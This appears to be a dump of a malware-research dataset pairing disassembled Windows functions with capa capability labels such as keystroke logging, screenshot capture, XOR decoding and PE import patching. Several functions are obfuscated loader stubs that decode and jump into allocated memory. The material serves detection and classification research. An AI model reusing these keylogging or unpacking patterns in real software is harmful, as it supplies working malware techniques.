joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b2c84
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 9]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x4e8ca8], 0
je 0x4b2dd3
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x4e7c4c]
mov edx, dword [edx]
xor al, byte [edx + 0xb4]
je 0x4b2dd3
mov eax, dword [0x4e8cac]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x4e8ca8]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x4b2da2
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x4e8ca8]
call fcn.0041c148
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x4b2d9a
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1a6], 0
je 0x4b2d9a
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x4b2d9a
mov eax, dword [ebp - 0x14]
call fcn.004bb7e8
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4b2d9a
push ebp
call fcn.004b2c40
pop ecx
test al, al
jne 0x4b2d9a
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xa0]
cmp eax, dword [ebp - 0x14]
jne 0x4b2d56
mov eax, dword [ebp - 0x14]
call fcn.004ba318
dec eax
jle 0x4b2d9a
mov byte [ebp - 1], 1
lea eax, [ebp - 9]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbd
call fcn.00403698
cmp byte [ebp - 1], 0
je 0x4b2d9a
push dword [ebp - 5]
push dword [ebp - 9]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x4b2d9a
mov edx, dword [ebp - 0x14]
mov eax, dword [0x4e8cac]
call fcn.004b240c
inc edi
dec ebx
jne 0x4b2ce9
mov eax, dword [0x4e8cac]
cmp dword [eax + 8], 0
jle 0x4b2dba
mov eax, dword [0x4e8cac]
call fcn.004b249c
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4b2dd3
push ebp
mov eax, dword [ebp - 0x18]
call fcn.004b2aa8
pop ecx
test al, al
jne 0x4b2dd3
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4b636c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
test byte [esi + 0x1c], 0x10
je 0x4b63b8
mov eax, esi
call fcn.0049e3f0
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4b63b8
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x250], 0
je 0x4b63b8
mov ecx, ebx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x250]
mov edx, esi
mov edi, dword [eax]
call dword [edi + 0x24]
test al, al
jne 0x4b64f7
mov eax, dword [ebx]
cmp eax, 0x100
jb 0x4b63f8
cmp eax, 0x108
ja 0x4b63f8
mov eax, esi
call fcn.0049e3f0
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4b64ee
mov ecx, ebx
mov edx, esi
mov eax, dword [ebp - 0x14]
mov edi, dword [eax]
call dword [edi + 0xf0]
test al, al
jne 0x4b64f7
jmp 0x4b64ee
mov eax, dword [ebx]
cmp eax, 0x200
jb 0x4b64d7
cmp eax, 0x20a
ja 0x4b64d7
test byte [esi + 0x50], 0x80
jne 0x4b642a
sub eax, 0x203
je 0x4b6427
sub eax, 3
je 0x4b6427
sub eax, 3
jne 0x4b642a
sub dword [ebx], 2
mov eax, dword [ebx]
sub eax, 0x200
je 0x4b643e
dec eax
je 0x4b6453
dec eax
je 0x4b6470
dec eax
je 0x4b6453
jmp 0x4b6477
mov ecx, ebx
mov eax, dword [0x4e7c4c]
mov eax, dword [eax]
mov edx, esi
call fcn.004a7a18
jmp 0x4b64ee
cmp byte [esi + 0x5d], 1
jne 0x4b6469
mov eax, esi
mov si, 0xffed
call fcn.00403698
jmp 0x4b64f7
or word [esi + 0x54], 1
jmp 0x4b64ee
and word [esi + 0x54], 0xfffe
jmp 0x4b64ee
mov eax, dword [0x4e8c64]
cmp byte [eax + 0x20], 0
je 0x4b64ee
mov eax, dword [0x4e8c64]
cmp dword [eax + 0x1c], 0
je 0x4b64ee
mov eax, dword [ebx]
mov edx, dword [0x4e8c64]
cmp eax, dword [edx + 0x1c]
jne 0x4b64ee
lea eax, [ebp - 0x114]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [ebx]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
call fcn.0049e334
mov byte [ebp - 0xc], al
mov ax, word [ebx + 4]
mov word [ebp - 0xa], ax
mov eax, dword [ebx + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, esi
mov si, 0xffc9
call fcn.00403698
jmp 0x4b64f7
cmp eax, 0xb00b
jne 0x4b64ee
mov edx, dword [ebx + 8]
push edx
mov ecx, dword [ebx + 4]
mov edx, eax
mov eax, esi
call fcn.004b4cd4
mov edx, ebx
mov eax, esi
mov ecx, dword [eax]
call dword [ecx - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4b9978
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1f8], 0
je 0x4b9994
cmp dword [esi + 4], 0
je 0x4b99c1
test byte [ebx + 0x55], 1
jne 0x4b99b3
mov eax, ebx
call fcn.004b8584
test eax, eax
jne 0x4b99b3
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x4b9ad1
mov edx, esi
mov eax, ebx
call fcn.004b949c
jmp 0x4b9ad1
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4b9aca
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.004bb7e8
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.004b62a0
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.004b9978
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.004bb7e8
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b9ad1
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4bfee0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x4e7f5c]
cmp byte [eax + 0xc], 0
je 0x4c004d
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4c0046
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x4e8cb8], 0
jne 0x4bff34
push 0x4c0054
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x4c005c
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4e8cb8], eax
cmp dword [0x4e6e84], 0
jne 0x4c002f
push 0x4c006c
call sub.kernel32.dll_LoadLibraryA
mov dword [0x4e6e84], eax
cmp dword [0x4e6e84], 0
je 0x4c002f
push 0x4c0078
mov eax, dword [0x4e6e84]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4e8cbc], eax
push 0x4c0088
mov eax, dword [0x4e6e84]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4e8cc0], eax
push 0x4c009c
mov eax, dword [0x4e6e84]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4e8cc4], eax
push 0x4c00b4
mov eax, dword [0x4e6e84]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4e8cc8], eax
push 0x4c00cc
mov eax, dword [0x4e6e84]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4e8ccc], eax
push 0x4c00e0
mov eax, dword [0x4e6e84]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4e8cd0], eax
push 0x4c00f8
mov eax, dword [0x4e6e84]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4e8cd4], eax
push 0x4c0110
mov eax, dword [0x4e6e84]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4e8cd8], eax
push 0x4c012c
mov eax, dword [0x4e6e84]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4e8cdc], eax
push 0x4c0138
mov eax, dword [0x4e6e84]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4e8ce0], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c004d
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x4c08a4
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
xor ecx, ecx
mov dword [ebp - 4], ecx
mov ebx, edx
xor eax, eax
push ebp
push 0x4c0923
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xff
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x108]
push eax
call sub.advapi32.dll_GetUserNameA
test eax, eax
je 0x4c08f6
lea eax, [ebp - 4]
lea edx, [ebp - 0x108]
call fcn.004044c8
lea eax, [ebp - 4]
call fcn.004047e0
jmp 0x4c0903
lea eax, [ebp - 4]
mov edx, 0x4c0938
call fcn.00404368
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00404324
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c092a
lea eax, [ebp - 4]
call fcn.004042d0
ret
Function at 0x4c0940
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x120], ecx
mov dword [ebp - 0x114], ecx
mov dword [ebp - 0x118], ecx
mov dword [ebp - 4], ecx
mov ebx, edx
mov edi, eax
xor eax, eax
push ebp
push 0x4c0adb
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.004042d0
mov ecx, 0x4c0af4
mov dl, 1
mov eax, dword [0x45dac0]
call fcn.0045e1c0
mov esi, eax
push 0
lea eax, [ebp - 4]
push eax
mov ecx, 0x4c0b30
mov edx, 0x4c0b40
mov eax, esi
call fcn.0045e254
cmp dword [ebp - 4], 0
jne 0x4c0a53
lea eax, [ebp - 8]
push eax
push 0x10
push 0
call sub.shell32.dll_SHGetSpecialFolderLocation
test eax, eax
je 0x4c0aab
lea eax, [ebp - 0x10e]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.shell32.dll_SHGetPathFromIDListA
test eax, eax
je 0x4c0aab
lea eax, [ebp - 4]
lea edx, [ebp - 0x10e]
call fcn.004044c8
lea eax, [ebp - 4]
call fcn.004047e0
mov eax, dword [ebp - 4]
call fcn.00404590
mov edx, dword [ebp - 4]
cmp byte [edx + eax - 1], 0x5c
jne 0x4c0a22
mov eax, dword [ebp - 4]
call fcn.00404590
mov edx, eax
lea eax, [ebp - 4]
mov ecx, 1
call fcn.00404830
lea edx, [ebp - 0x118]
mov eax, dword [ebp - 4]
call fcn.00409860
mov edx, dword [ebp - 0x118]
lea ecx, [ebp - 0x114]
mov eax, edi
call fcn.004c0804
mov edx, dword [ebp - 0x114]
lea eax, [ebp - 4]
call fcn.00404368
jmp 0x4c0aab
mov eax, dword [ebp - 4]
call fcn.00404590
mov edx, dword [ebp - 4]
cmp byte [edx + eax - 1], 0x5c
jne 0x4c0a7c
mov eax, dword [ebp - 4]
call fcn.00404590
mov edx, eax
lea eax, [ebp - 4]
mov ecx, 1
call fcn.00404830
lea edx, [ebp - 0x120]
mov eax, dword [ebp - 4]
call fcn.00409860
mov edx, dword [ebp - 0x120]
lea ecx, [ebp - 0x11c]
mov eax, edi
call fcn.004c0804
mov edx, dword [ebp - 0x11c]
lea eax, [ebp - 4]
call fcn.00404368
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00404324
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c0ae2
lea eax, [ebp - 0x120]
mov edx, 4
call fcn.004042f4
lea eax, [ebp - 4]
call fcn.004042d0
ret
Function at 0x4cb9dc
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
mov ecx, 8
push 0
push 0
dec ecx
jne 0x4cb9e4
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x4cbbd6
push dword fs:[eax]
mov dword fs:[eax], esp
mov esi, dword [ebx + 8]
lea ecx, [ebp - 0xc]
mov edx, 0x4cbbec
mov eax, esi
call fcn.004c976c
mov edx, dword [ebp - 0xc]
lea eax, [ebx + 0xc]
call fcn.00404324
lea ecx, [ebp - 0x10]
mov edx, 0x4cbc00
mov eax, esi
call fcn.004c976c
mov edx, dword [ebp - 0x10]
lea eax, [ebx + 0x28]
call fcn.00404324
lea ecx, [ebp - 0x14]
mov edx, 0x4cbc18
mov eax, esi
call fcn.004c976c
mov edx, dword [ebp - 0x14]
lea eax, [ebx + 0x10]
call fcn.00404324
lea ecx, [ebp - 0x18]
mov edx, 0x4cbc34
mov eax, esi
call fcn.004c976c
mov edx, dword [ebp - 0x18]
lea eax, [ebx + 0x14]
call fcn.00404324
lea ecx, [ebp - 0x1c]
mov edx, 0x4cbc50
mov eax, esi
call fcn.004c976c
mov edx, dword [ebp - 0x1c]
lea eax, [ebx + 0x24]
call fcn.00404324
lea ecx, [ebp - 0x24]
mov edx, 0x4cbc68
mov eax, esi
call fcn.004c976c
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0x20]
call fcn.00408bb8
mov eax, dword [ebp - 0x20]
or edx, 0xffffffff
call fcn.0040912c
mov edi, eax
mov dword [ebx + 0x18], edi
test edi, edi
setge al
mov byte [ebx + 0x4c], al
lea ecx, [ebp - 0x28]
mov edx, 0x4cbc80
mov eax, esi
call fcn.004c976c
mov eax, dword [ebp - 0x28]
call fcn.004c8884
fstp qword [ebx + 0x30]
wait
lea ecx, [ebp - 0x2c]
mov edx, 0x4cbc90
mov eax, esi
call fcn.004c976c
mov eax, dword [ebp - 0x2c]
call fcn.004c8884
fstp qword [ebx + 0x40]
wait
lea ecx, [ebp - 0x30]
mov edx, 0x4cbca8
mov eax, esi
call fcn.004c976c
mov eax, dword [ebp - 0x30]
or edx, 0xffffffff
call fcn.0040912c
inc eax
je 0x4cbb79
lea ecx, [ebp - 0x34]
mov edx, 0x4cbca8
mov eax, esi
call fcn.004c976c
mov eax, dword [ebp - 0x34]
call fcn.004090f0
mov edi, eax
mov eax, edi
mov ecx, 0xe10
cdq
idiv ecx
mov dword [ebp - 8], eax
mov eax, edi
mov ecx, 0xe10
cdq
idiv ecx
mov ecx, edx
mov eax, ecx
push ecx
mov ecx, 0x3c
cdq
idiv ecx
pop ecx
mov dword [ebp - 4], eax
mov eax, ecx
mov ecx, 0x3c
cdq
idiv ecx
mov edi, edx
push 0
mov ecx, edi
mov dx, word [ebp - 4]
mov ax, word [ebp - 8]
call fcn.0040b040
fstp qword [ebp - 0x3c]
wait
call fcn.0040b3d0
fadd qword [ebp - 0x3c]
fstp qword [ebx + 0x38]
wait
jmp 0x4cbb94
lea ecx, [ebp - 0x40]
mov edx, 0x4cbca8
mov eax, esi
call fcn.004c976c
mov eax, dword [ebp - 0x40]
call fcn.004c8884
fstp qword [ebx + 0x38]
wait
lea ecx, [ebp - 0x44]
mov edx, 0x4cbcb8
mov eax, esi
call fcn.004c976c
mov edx, dword [ebp - 0x44]
lea eax, [ebx + 0x48]
call fcn.00404324
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4cbbdd
lea eax, [ebp - 0x44]
mov edx, 2
call fcn.004042f4
lea eax, [ebp - 0x34]
mov edx, 0xb
call fcn.004042f4
ret
Function at 0x4d7e74
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
xor edx, edx
push ebp
push 0x4d7ece
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [eax + 0x30]
call fcn.004d7e64
mov ebx, eax
lea edx, [ebp - 4]
mov eax, edi
call fcn.004c74f0
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0xc]
call fcn.004c70f0
mov edx, dword [esi + 8]
mov eax, dword [ebx + 0x10]
mov ecx, dword [eax]
call dword [ecx + 8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d7ed5
lea eax, [ebp - 4]
call fcn.004042d0
ret
Function at 0x41b8a8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x41b8b7
pop dword [ebp - 0x4c]
mov eax, 0x61f80b5e
sub eax, 0x61b652a7
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x445bb
push 0
mov eax, 0x22f6f66a
add eax, 0xdd4b5bae
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x9d383e64
add ecx, 0x62c81ee9
mov edx, eax
mov esi, 0x435400
add esi, dword [ebp - 0x4c]
mov ebx, 0x6cfa3ce1
mov edi, dword [esi]
add dword [ebp - 0x1c], edx
xor edi, ebx
add dword [ebp - 0x18], ecx
mov dword [edx], edi
add dword [ebp - 0x44], ebx
add edx, 0xae7380d0
sub edx, 0xae7380cc
add esi, 4
loop 0x41b90a
add eax, 0x16807
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x4030ac
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x414020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403144
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403124
xor eax, eax
push ebp
push 0x40311d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403160
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403124
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x414020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x414020], ax
mov esp, ebp
pop ebp
ret

Function at 0x403bfc
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x415044], 0
je 0x403c5d
cmp word [0x415218], 0xd7b2
jne 0x403c25
cmp dword [0x415220], 0
jbe 0x403c25
mov eax, 0x415214
call dword [0x415230]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x414068
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403c84
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x41402c], 0
jne 0x403c79
push 0
push 0x414060
push 0x414068
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x4057cc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x405832
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00403ff0
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402ca0
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x40581c
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405839
lea eax, [ebp - 0x10]
call fcn.00403d80
ret

Function at 0x409c48
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x409c81
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403e70
jmp 0x409c8a
mov eax, ebx
mov edx, esi
call fcn.00403dd4
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x409c94
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x409cb5
mov al, byte [esp]
jmp 0x409cb7
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40a34c
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40a1b4
mov eax, dword [0x414520]
cmp byte [eax], 0
je 0x40a3c8
mov eax, dword [0x414440]
call fcn.00402c1c
call fcn.00402ae4
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.0040751c
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40a410
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40a3fe
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x41441c]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x415660]
call fcn.00404c74
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40b110
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40b174
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00403ff0
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.004070d0
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b17b
lea eax, [ebp - 0xc]
call fcn.00403d80
ret

Function at 0x413188
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x4131ae
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00412780
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4131b8
push 0x4132dc
call sub.kernel32.dll_LoadLibraryA
mov ebx, eax
test ebx, ebx
je 0x4132d5
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 4]
cmp word [eax], 0x5a4d
jne 0x4132d5
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
add eax, ebx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
cmp dword [eax], 0x4550
jne 0x4132d5
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x80]
test eax, eax
je 0x4132d5
mov edx, dword [ebp - 8]
cmp dword [edx + 0x84], 0
je 0x4132d5
add eax, ebx
mov dword [ebp - 0xc], eax
jmp 0x4132c8
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xc]
add eax, ebx
mov dword [ebp - 0x14], eax
mov edx, 0x4132e8
mov eax, dword [ebp - 0x14]
call fcn.004075a4
test eax, eax
je 0x413249
mov eax, dword [ebp - 0xc]
add eax, 0x14
mov dword [ebp - 0xc], eax
jmp 0x4132c8
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
add eax, ebx
mov dword [ebp - 0x10], eax
mov edi, 1
jmp 0x4132bb
add esi, ebx
add esi, 2
mov dword [ebp - 0x18], esi
mov edx, 0x4132f4
mov eax, dword [ebp - 0x18]
call fcn.004075a4
test eax, eax
jne 0x4132b1
mov eax, 0x412bb0
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0xc]
add ebx, dword [eax + 0x10]
dec edi
mov eax, edi
shl eax, 2
add ebx, eax
mov dword [ebp - 0x1c], ebx
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [0x415894], eax
lea eax, [ebp - 0x24]
push eax
push 4
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x1c]
push eax
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.kernel32.dll_WriteProcessMemory
jmp 0x4132d5
inc edi
mov eax, dword [ebp - 0x10]
add eax, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov esi, dword [eax]
test esi, esi
jne 0x41325a
add dword [ebp - 0xc], 0x14
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0x10], 0
jne 0x413222
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401434
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x401443
pop dword [ebp - 0x20]
mov eax, 0xf5ce905e
add eax, 0xa7183e5
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x47a8407
sub dword [ebp - 0x30], 0xb6283ebc
mov dword [ebp - 0x2c], 0xc1f576a1
add dword [ebp - 0x2c], 0x703dd5a4
mov dword [ebp - 0x28], 0x6a1c9590
sub dword [ebp - 0x28], 0x1dd05162
mov dword [ebp - 0x24], 0x7d7c834b
sub dword [ebp - 0x24], 0x7d7c834b
lea eax, [ebp - 0x30]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x98a505fd
sub dword [ebp - 0x30], 0x24329ca7
mov dword [ebp - 0x2c], 0x3f13ea92
sub dword [ebp - 0x2c], 0xfda7891d
mov dword [ebp - 0x28], 0x4a2fd75b
add dword [ebp - 0x28], 0x193f9511
mov dword [ebp - 0x24], 0x40a7228a
add dword [ebp - 0x24], 0xbf58dd76
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x22927051
add eax, 0xddae102b
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x39c11
push 0
call eax
mov ecx, 0xd8ba6393
add ecx, 0x2745e9f0
xor esi, esi
add esi, eax
mov edi, 0x459200
add edi, dword [ebp - 0x20]
